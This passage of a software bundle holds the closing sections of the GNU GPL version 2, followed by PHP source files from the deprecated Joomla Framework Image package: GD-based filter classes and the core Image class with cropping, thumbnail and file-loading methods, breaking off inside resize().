This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image\Filter;

use InvalidArgumentException;
use Joomla\Image\ImageFilter;

/**
 * Image Filter class fill background with color;
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
class Backgroundfill extends ImageFilter
{
	/**
	 * Method to apply a background color to an image resource.
	 *
	 * @param   array  $options  An array of options for the filter.
	 *                           color  Background matte color
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  InvalidArgumentException
	 */
	public function execute(array $options = array())
	{
		// Validate that the color value exists and is an integer.
		if (!isset($options['color']))
		{
			throw new InvalidArgumentException('No color value was given.
Expected string or array.');
		}

		$colorCode = (!empty($options['color'])) ?
$options['color'] : null;

		// Get resource dimensions
		$width  = imagesx($this->handle);
		$height = imagesy($this->handle);

		// Sanitize color
		$rgba = $this->sanitizeColor($colorCode);

		// Enforce alpha on source image
		if (imageistruecolor($this->handle))
		{
			imagealphablending($this->handle, false);
			imagesavealpha($this->handle, true);
		}

		// Create background
		$bg = imagecreatetruecolor($width, $height);
		imagesavealpha($bg, empty($rgba['alpha']));

		// Allocate background color.
		$color = imagecolorallocatealpha($bg, $rgba['red'],
$rgba['green'], $rgba['blue'],
$rgba['alpha']);

		// Fill background
		imagefill($bg, 0, 0, $color);

		// Apply image over background
		imagecopy($bg, $this->handle, 0, 0, 0, 0, $width, $height);

		// Move flattened result onto curent handle.
		// If handle was palette-based, it'll stay like that.
		imagecopy($this->handle, $bg, 0, 0, 0, 0, $width, $height);

		// Free up memory
		imagedestroy($bg);
	}

	/**
	 * Method to sanitize color values
	 * and/or convert to an array
	 *
	 * @param   mixed  $input  Associative array of colors and alpha,
	 *                         or hex RGBA string when alpha FF is opaque.
	 *                         Defaults to black and opaque alpha
	 *
	 * @return  array  Associative array of red, green, blue and alpha
	 *
	 * @since   1.0
	 *
	 * @note    '#FF0000FF' returns an array with alpha of 0
(opaque)
	 */
	protected function sanitizeColor($input)
	{
		// Construct default values
		$colors = array('red' => 0, 'green' => 0,
'blue' => 0, 'alpha' => 0);

		// Make sure all values are in
		if (\is_array($input))
		{
			$colors = array_merge($colors, $input);
		}
		elseif (\is_string($input))
		{
			// Convert RGBA 6-9 char string
			$hex = ltrim($input, '#');

			$hexValues = array(
				'red'   => substr($hex, 0, 2),
				'green' => substr($hex, 2, 2),
				'blue'  => substr($hex, 4, 2),
				'alpha' => substr($hex, 6, 2),
			);

			$colors = array_map('hexdec', $hexValues);

			// Convert Alpha to 0..127 when provided
			if (\strlen($hex) > 6)
			{
				$colors['alpha'] = floor((255 - $colors['alpha']) /
2);
			}
		}
		else
		{
			// Cannot sanitize such type
			return $colors;
		}

		// Make sure each value is within the allowed range
		foreach ($colors as &$value)
		{
			$value = max(0, min(255, (int) $value));
		}

		$colors['alpha'] = min(127, $colors['alpha']);

		return $colors;
	}
}
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image\Filter;

use InvalidArgumentException;
use Joomla\Image\ImageFilter;

/**
 * Image Filter class adjust the brightness of an image.
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
class Brightness extends ImageFilter
{
	/**
	 * Method to apply a filter to an image resource.
	 *
	 * @param   array  $options  An array of options for the filter.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  InvalidArgumentException
	 */
	public function execute(array $options = array())
	{
		// Validate that the brightness value exists and is an integer.
		if (!isset($options[IMG_FILTER_BRIGHTNESS]) ||
!\is_int($options[IMG_FILTER_BRIGHTNESS]))
		{
			throw new InvalidArgumentException('No valid brightness value was
given.  Expected integer.');
		}

		// Perform the brightness filter.
		imagefilter($this->handle, IMG_FILTER_BRIGHTNESS,
$options[IMG_FILTER_BRIGHTNESS]);
	}
}
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image\Filter;

use InvalidArgumentException;
use Joomla\Image\ImageFilter;

/**
 * Image Filter class adjust the contrast of an image.
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
class Contrast extends ImageFilter
{
	/**
	 * Method to apply a filter to an image resource.
	 *
	 * @param   array  $options  An array of options for the filter.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  InvalidArgumentException
	 */
	public function execute(array $options = array())
	{
		// Validate that the contrast value exists and is an integer.
		if (!isset($options[IMG_FILTER_CONTRAST]) ||
!\is_int($options[IMG_FILTER_CONTRAST]))
		{
			throw new InvalidArgumentException('No valid contrast value was
given.  Expected integer.');
		}

		// Perform the contrast filter.
		imagefilter($this->handle, IMG_FILTER_CONTRAST,
$options[IMG_FILTER_CONTRAST]);
	}
}
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image\Filter;

use Joomla\Image\ImageFilter;

/**
 * Image Filter class to add an edge detect effect to an image.
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
class Edgedetect extends ImageFilter
{
	/**
	 * Method to apply a filter to an image resource.
	 *
	 * @param   array  $options  An array of options for the filter.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function execute(array $options = array())
	{
		// Perform the edge detection filter.
		imagefilter($this->handle, IMG_FILTER_EDGEDETECT);
	}
}
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image\Filter;

use Joomla\Image\ImageFilter;

/**
 * Image Filter class to emboss an image.
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
class Emboss extends ImageFilter
{
	/**
	 * Method to apply a filter to an image resource.
	 *
	 * @param   array  $options  An array of options for the filter.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function execute(array $options = array())
	{
		// Perform the emboss filter.
		imagefilter($this->handle, IMG_FILTER_EMBOSS);
	}
}
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image\Filter;

use Joomla\Image\ImageFilter;

/**
 * Image Filter class to transform an image to grayscale.
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
class Grayscale extends ImageFilter
{
	/**
	 * Method to apply a filter to an image resource.
	 *
	 * @param   array  $options  An array of options for the filter.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function execute(array $options = array())
	{
		// Perform the grayscale filter.
		imagefilter($this->handle, IMG_FILTER_GRAYSCALE);
	}
}
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image\Filter;

use Joomla\Image\ImageFilter;

/**
 * Image Filter class to negate the colors of an image.
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
class Negate extends ImageFilter
{
	/**
	 * Method to apply a filter to an image resource.
	 *
	 * @param   array  $options  An array of options for the filter.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function execute(array $options = array())
	{
		// Perform the negative filter.
		imagefilter($this->handle, IMG_FILTER_NEGATE);
	}
}
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image\Filter;

use Joomla\Image\ImageFilter;

/**
 * Image Filter class to make an image appear "sketchy".
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
class Sketchy extends ImageFilter
{
	/**
	 * Method to apply a filter to an image resource.
	 *
	 * @param   array  $options  An array of options for the filter.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function execute(array $options = array())
	{
		// Perform the sketchy filter.
		imagefilter($this->handle, IMG_FILTER_MEAN_REMOVAL);
	}
}
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image\Filter;

use InvalidArgumentException;
use Joomla\Image\ImageFilter;

/**
 * Image Filter class adjust the smoothness of an image.
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
class Smooth extends ImageFilter
{
	/**
	 * Method to apply a filter to an image resource.
	 *
	 * @param   array  $options  An array of options for the filter.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  InvalidArgumentException
	 */
	public function execute(array $options = array())
	{
		// Validate that the smoothing value exists and is an integer.
		if (!isset($options[IMG_FILTER_SMOOTH]) ||
!\is_int($options[IMG_FILTER_SMOOTH]))
		{
			throw new InvalidArgumentException('No valid smoothing value was
given.  Expected integer.');
		}

		// Perform the smoothing filter.
		imagefilter($this->handle, IMG_FILTER_SMOOTH,
$options[IMG_FILTER_SMOOTH]);
	}
}
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image;

use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerInterface;
use Psr\Log\NullLogger;

/**
 * Class to manipulate an image.
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
class Image implements LoggerAwareInterface
{
	/**
	 * @const  integer
	 * @since  1.0
	 */
	const SCALE_FILL = 1;

	/**
	 * @const  integer
	 * @since  1.0
	 */
	const SCALE_INSIDE = 2;

	/**
	 * @const  integer
	 * @since  1.0
	 */
	const SCALE_OUTSIDE = 3;

	/**
	 * @const  integer
	 * @since  1.0
	 */
	const CROP = 4;

	/**
	 * @const  integer
	 * @since  1.0
	 */
	const CROP_RESIZE = 5;

	/**
	 * @const  integer
	 * @since  1.0
	 */
	const SCALE_FIT = 6;

	/**
	 * @const  string
	 * @since  1.2.0
	 */
	const ORIENTATION_LANDSCAPE = 'landscape';

	/**
	 * @const  string
	 * @since  1.2.0
	 */
	const ORIENTATION_PORTRAIT = 'portrait';

	/**
	 * @const  string
	 * @since  1.2.0
	 */
	const ORIENTATION_SQUARE = 'square';

	/**
	 * @var    resource|\GdImage  The image resource handle.
	 * @since  1.0
	 */
	protected $handle;

	/**
	 * @var    string  The source image path.
	 * @since  1.0
	 */
	protected $path;

	/**
	 * @var    array  Whether or not different image formats are supported.
	 * @since  1.0
	 */
	protected static $formats = array();

	/**
	 * @var    LoggerInterface  Logger object
	 * @since  1.0
	 */
	protected $logger;

	/**
	 * @var    boolean  Flag if an image should use the best quality
available.  Disable for improved performance.
	 * @since  1.4.0
	 */
	protected $generateBestQuality = true;

	/**
	 * Class constructor.
	 *
	 * @param   mixed  $source  Either a file path for a source image or a GD
resource handler for an image.
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public function __construct($source = null)
	{
		// Verify that GD support for PHP is available.
		if (!\extension_loaded('gd'))
		{
			// @codeCoverageIgnoreStart
			throw new \RuntimeException('The GD extension for PHP is not
available.');

			// @codeCoverageIgnoreEnd
		}

		// Determine which image types are supported by GD, but only once.
		if (!isset(static::$formats[IMAGETYPE_JPEG]))
		{
			$info                            = gd_info();
			static::$formats[IMAGETYPE_JPEG] = ($info['JPEG Support']) ?
true : false;
			static::$formats[IMAGETYPE_PNG]  = ($info['PNG Support']) ?
true : false;
			static::$formats[IMAGETYPE_GIF]  = ($info['GIF Read Support'])
? true : false;
		}

		// If the source input is a resource, set it as the image handle.
		if ($this->isValidImage($source))
		{
			$this->handle = &$source;
		}
		elseif (!empty($source) && \is_string($source))
		{
			// If the source input is not empty, assume it is a path and populate
the image handle.
			$this->loadFile($source);
		}
	}

	/**
	 * Get the image resource handle
	 *
	 * @return  resource
	 *
	 * @since   1.3.0
	 * @throws  \LogicException if an image has not been loaded into the
instance
	 */
	public function getHandle()
	{
		// Make sure the resource handle is valid.
		if (!$this->isLoaded())
		{
			throw new \LogicException('No valid image was loaded.');
		}

		return $this->handle;
	}

	/**
	 * Get the logger.
	 *
	 * @return  LoggerInterface
	 *
	 * @since   1.0
	 */
	public function getLogger()
	{
		// If a logger hasn't been set, use NullLogger
		if (! ($this->logger instanceof LoggerInterface))
		{
			$this->logger = new NullLogger;
		}

		return $this->logger;
	}

	/**
	 * Sets a logger instance on the object
	 *
	 * @param   LoggerInterface  $logger  A PSR-3 compliant logger.
	 *
	 * @return  Image  This object for message chaining.
	 *
	 * @since   1.0
	 */
	public function setLogger(LoggerInterface $logger)
	{
		$this->logger = $logger;

		return $this;
	}

	/**
	 * Method to return a properties object for an image given a filesystem
path.
	 *
	 * The result object has values for image width, height, type, attributes,
mime type, bits, and channels.
	 *
	 * @param   string  $path  The filesystem path to the image for which to
get properties.
	 *
	 * @return  \stdClass
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 * @throws  \RuntimeException
	 */
	public static function getImageFileProperties($path)
	{
		// Make sure the file exists.
		if (!file_exists($path))
		{
			throw new \InvalidArgumentException('The image file does not
exist.');
		}

		// Get the image file information.
		$info = getimagesize($path);

		if (!$info)
		{
			// @codeCoverageIgnoreStart
			throw new \RuntimeException('Unable to get properties for the
image.');

			// @codeCoverageIgnoreEnd
		}

		// Build the response object.
		$properties = (object) array(
			'width'       => $info[0],
			'height'      => $info[1],
			'type'        => $info[2],
			'attributes'  => $info[3],
			'bits'        => isset($info['bits']) ?
$info['bits'] : null,
			'channels'    => isset($info['channels']) ?
$info['channels'] : null,
			'mime'        => $info['mime'],
			'filesize'    => filesize($path),
			'orientation' => self::getOrientationString((int) $info[0],
(int) $info[1]),
		);

		return $properties;
	}

	/**
	 * Method to detect whether an image's orientation is landscape,
portrait or square.
	 *
	 * The orientation will be returned as a string.
	 *
	 * @return  mixed   Orientation string or null.
	 *
	 * @since   1.2.0
	 */
	public function getOrientation()
	{
		if ($this->isLoaded())
		{
			return self::getOrientationString($this->getWidth(),
$this->getHeight());
		}
	}

	/**
	 * Compare width and height integers to determine image orientation.
	 *
	 * @param   integer  $width   The width value to use for calculation
	 * @param   integer  $height  The height value to use for calculation
	 *
	 * @return  string   Orientation string
	 *
	 * @since   1.2.0
	 */
	private static function getOrientationString($width, $height)
	{
		switch (true)
		{
			case $width > $height :
				return self::ORIENTATION_LANDSCAPE;

			case $width < $height :
				return self::ORIENTATION_PORTRAIT;

			default:
				return self::ORIENTATION_SQUARE;
		}
	}

	/**
	 * Method to generate thumbnails from the current image. It allows
	 * creation by resizing or cropping the original image.
	 *
	 * @param   mixed    $thumbSizes      String or array of strings. Example:
$thumbSizes = array('150x75','250x150');
	 * @param   integer  $creationMethod  1-3 resize $scaleMethod | 4 create
cropping | 5 resize then crop
	 *
	 * @return  array
	 *
	 * @since   1.0
	 * @throws  \LogicException
	 * @throws  \InvalidArgumentException
	 */
	public function generateThumbs($thumbSizes, $creationMethod =
self::SCALE_INSIDE)
	{
		// Make sure the resource handle is valid.
		if (!$this->isLoaded())
		{
			throw new \LogicException('No valid image was loaded.');
		}

		// Accept a single thumbsize string as parameter
		if (!\is_array($thumbSizes))
		{
			$thumbSizes = array($thumbSizes);
		}

		// Process thumbs
		$generated = array();

		if (!empty($thumbSizes))
		{
			foreach ($thumbSizes as $thumbSize)
			{
				// Desired thumbnail size
				$size = explode('x', strtolower($thumbSize));

				if (\count($size) != 2)
				{
					throw new \InvalidArgumentException('Invalid thumb size received:
' . $thumbSize);
				}

				$thumbWidth  = $size[0];
				$thumbHeight = $size[1];

				switch ($creationMethod)
				{
					// Crop
					case self::CROP:
						$thumb = $this->crop($thumbWidth, $thumbHeight, null, null, true);

						break;

					// Crop-resize
					case self::CROP_RESIZE:
						$thumb = $this->cropResize($thumbWidth, $thumbHeight, true);

						break;

					default:
						$thumb = $this->resize($thumbWidth, $thumbHeight, true,
$creationMethod);

						break;
				}

				// Store the thumb in the results array
				$generated[] = $thumb;
			}
		}

		return $generated;
	}

	/**
	 * Method to create thumbnails from the current image and save them to
disk. It allows creation by resizing
	 * or cropping the original image.
	 *
	 * @param   mixed    $thumbSizes      string or array of strings. Example:
$thumbSizes = array('150x75','250x150');
	 * @param   integer  $creationMethod  1-3 resize $scaleMethod | 4 create
cropping
	 * @param   string   $thumbsFolder    destination thumbs folder. null
generates a thumbs folder in the image folder
	 *
	 * @return  array
	 *
	 * @since   1.0
	 * @throws  \LogicException
	 * @throws  \InvalidArgumentException
	 */
	public function createThumbs($thumbSizes, $creationMethod =
self::SCALE_INSIDE, $thumbsFolder = null)
	{
		// Make sure the resource handle is valid.
		if (!$this->isLoaded())
		{
			throw new \LogicException('No valid image was loaded.');
		}

		// No thumbFolder set -> we will create a thumbs folder in the current
image folder
		if ($thumbsFolder === null)
		{
			$thumbsFolder = \dirname($this->getPath()) . '/thumbs';
		}

		// Check destination
		if (!is_dir($thumbsFolder) && (!is_dir(\dirname($thumbsFolder))
|| !@mkdir($thumbsFolder)))
		{
			throw new \InvalidArgumentException('Folder does not exist and
cannot be created: ' . $thumbsFolder);
		}

		// Process thumbs
		$thumbsCreated = array();

		if ($thumbs = $this->generateThumbs($thumbSizes, $creationMethod))
		{
			// Parent image properties
			$imgProperties = static::getImageFileProperties($this->getPath());

			foreach ($thumbs as $thumb)
			{
				// Get thumb properties
				$thumbWidth     = $thumb->getWidth();
				$thumbHeight    = $thumb->getHeight();

				// Generate thumb name
				$filename       = pathinfo($this->getPath(), PATHINFO_FILENAME);
				$fileExtension  = pathinfo($this->getPath(), PATHINFO_EXTENSION);
				$thumbFileName  = $filename . '_' . $thumbWidth .
'x' . $thumbHeight . '.' . $fileExtension;

				// Save thumb file to disk
				$thumbFileName = $thumbsFolder . '/' . $thumbFileName;

				if ($thumb->toFile($thumbFileName, $imgProperties->type))
				{
					// Return Image object with thumb path to ease further manipulation
					$thumb->path     = $thumbFileName;
					$thumbsCreated[] = $thumb;
				}
			}
		}

		return $thumbsCreated;
	}

	/**
	 * Method to crop the current image.
	 *
	 * @param   mixed    $width      The width of the image section to crop in
pixels or a percentage.
	 * @param   mixed    $height     The height of the image section to crop
in pixels or a percentage.
	 * @param   integer  $left       The number of pixels from the left to
start cropping.
	 * @param   integer  $top        The number of pixels from the top to
start cropping.
	 * @param   boolean  $createNew  If true the current image will be cloned,
cropped and returned; else
	 *                               the current image will be cropped and
returned.
	 *
	 * @return  Image
	 *
	 * @since   1.0
	 * @throws  \LogicException
	 */
	public function crop($width, $height, $left = null, $top = null,
$createNew = true)
	{
		// Sanitize width.
		$width = $this->sanitizeWidth($width, $height);

		// Sanitize height.
		$height = $this->sanitizeHeight($height, $width);

		// Autocrop offsets
		if ($left === null)
		{
			$left = round(($this->getWidth() - $width) / 2);
		}

		if ($top === null)
		{
			$top = round(($this->getHeight() - $height) / 2);
		}

		// Sanitize left.
		$left = $this->sanitizeOffset($left);

		// Sanitize top.
		$top = $this->sanitizeOffset($top);

		// Create the new truecolor image handle.
		$handle = imagecreatetruecolor($width, $height);

		// Allow transparency for the new image handle.
		imagealphablending($handle, false);
		imagesavealpha($handle, true);

		if ($this->isTransparent())
		{
			// Get the transparent color values for the current image.
			$rgba  = imagecolorsforindex($this->getHandle(),
imagecolortransparent($this->getHandle()));
			$color = imagecolorallocatealpha($handle, $rgba['red'],
$rgba['green'], $rgba['blue'],
$rgba['alpha']);

			// Set the transparent color values for the new image.
			imagecolortransparent($handle, $color);
			imagefill($handle, 0, 0, $color);
		}

		if (!$this->generateBestQuality)
		{
			imagecopyresized($handle, $this->getHandle(), 0, 0, $left, $top,
$width, $height, $width, $height);
		}
		else
		{
			imagecopyresampled($handle, $this->getHandle(), 0, 0, $left, $top,
$width, $height, $width, $height);
		}

		// If we are cropping to a new image, create a new Image object.
		if ($createNew)
		{
			// @codeCoverageIgnoreStart
			return new static($handle);

			// @codeCoverageIgnoreEnd
		}

		// Swap out the current handle for the new image handle.
		$this->destroy();

		$this->handle = $handle;

		return $this;
	}

	/**
	 * Method to apply a filter to the image by type.  Two examples are:
grayscale and sketchy.
	 *
	 * @param   string  $type     The name of the image filter to apply.
	 * @param   array   $options  An array of options for the filter.
	 *
	 * @return  Image
	 *
	 * @since   1.0
	 * @see     Joomla\Image\Filter
	 * @throws  \LogicException
	 */
	public function filter($type, array $options = array())
	{
		// Make sure the resource handle is valid.
		if (!$this->isLoaded())
		{
			throw new \LogicException('No valid image was loaded.');
		}

		// Get the image filter instance.
		$filter = $this->getFilterInstance($type);

		// Execute the image filter.
		$filter->execute($options);

		return $this;
	}

	/**
	 * Method to get the height of the image in pixels.
	 *
	 * @return  integer
	 *
	 * @since   1.0
	 * @throws  \LogicException
	 */
	public function getHeight()
	{
		return imagesy($this->getHandle());
	}

	/**
	 * Method to get the width of the image in pixels.
	 *
	 * @return  integer
	 *
	 * @since   1.0
	 * @throws  \LogicException
	 */
	public function getWidth()
	{
		return imagesx($this->getHandle());
	}

	/**
	 * Method to return the path
	 *
	 * @return	string
	 *
	 * @since	1.0
	 */
	public function getPath()
	{
		return $this->path;
	}

	/**
	 * Method to determine whether or not an image has been loaded into the
object.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function isLoaded()
	{
		// Make sure the resource handle is valid.
		return $this->isValidImage($this->handle);
	}

	/**
	 * Method to determine whether or not the image has transparency.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  \LogicException
	 */
	public function isTransparent()
	{
		return imagecolortransparent($this->getHandle()) >= 0;
	}

	/**
	 * Method to load a file into the Image object as the resource.
	 *
	 * @param   string  $path  The filesystem path to load as an image.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 * @throws  \RuntimeException
	 */
	public function loadFile($path)
	{
		// Destroy the current image handle if it exists
		$this->destroy();

		// Make sure the file exists.
		if (!file_exists($path))
		{
			throw new \InvalidArgumentException('The image file does not
exist.');
		}

		// Get the image properties.
		$properties = static::getImageFileProperties($path);

		// Attempt to load the image based on the MIME-Type
		switch ($properties->mime)
		{
			case 'image/gif':
				// Make sure the image type is supported.
				if (empty(static::$formats[IMAGETYPE_GIF]))
				{
					// @codeCoverageIgnoreStart
					$this->getLogger()->error('Attempting to load an image of
unsupported type GIF.');

					throw new \RuntimeException('Attempting to load an image of
unsupported type GIF.');

					// @codeCoverageIgnoreEnd
				}

				// Attempt to create the image handle.
				$handle = imagecreatefromgif($path);

				if (!$this->isValidImage($handle))
				{
					// @codeCoverageIgnoreStart
					throw new \RuntimeException('Unable to process GIF image.');

					// @codeCoverageIgnoreEnd
				}

				$this->handle = $handle;

				break;

			case 'image/jpeg':
				// Make sure the image type is supported.
				if (empty(static::$formats[IMAGETYPE_JPEG]))
				{
					// @codeCoverageIgnoreStart
					$this->getLogger()->error('Attempting to load an image of
unsupported type JPG.');

					throw new \RuntimeException('Attempting to load an image of
unsupported type JPG.');

					// @codeCoverageIgnoreEnd
				}

				// Attempt to create the image handle.
				$handle = imagecreatefromjpeg($path);

				if (!$this->isValidImage($handle))
				{
					// @codeCoverageIgnoreStart
					throw new \RuntimeException('Unable to process JPG image.');

					// @codeCoverageIgnoreEnd
				}

				$this->handle = $handle;

				break;

			case 'image/png':
				// Make sure the image type is supported.
				if (empty(static::$formats[IMAGETYPE_PNG]))
				{
					// @codeCoverageIgnoreStart
					$this->getLogger()->error('Attempting to load an image of
unsupported type PNG.');

					throw new \RuntimeException('Attempting to load an image of
unsupported type PNG.');

					// @codeCoverageIgnoreEnd
				}

				// Attempt to create the image handle.
				$handle = imagecreatefrompng($path);

				if (!$this->isValidImage($handle))
				{
					// @codeCoverageIgnoreStart
					throw new \RuntimeException('Unable to process PNG image.');

					// @codeCoverageIgnoreEnd
				}

				$this->handle = $handle;

				break;

			default:
				$this->getLogger()->error('Attempting to load an image of
unsupported type ' . $properties->mime);

				throw new \InvalidArgumentException('Attempting to load an image
of unsupported type ' . $properties->mime);
		}

		// Set the filesystem path to the source image.
		$this->path = $path;
	}

	/**
	 * Method to resize the current image.
	 *
	 * @param   mixed    $width        The width of the resized image in
pixels or a percentage.
	 * @param   mixed    $height       The height of the resized image in
pixels or a percentage.
	 * @param   boolean  $createNew    If true the current image will be
cloned, resized and returned; else
	 *                                 the current image will be resized and
returned.
	 * @param   integer  $scaleMethod  Which method to use for scaling
	 *
	 * @return  Image
	 *
	 * @since   1.0
	 * @throws  \LogicException
	 */
	public function resize($width, $height, $createNew = true, $scaleMethod =
self::SCALE_INSIDE)
	{
		// Sanitize width.
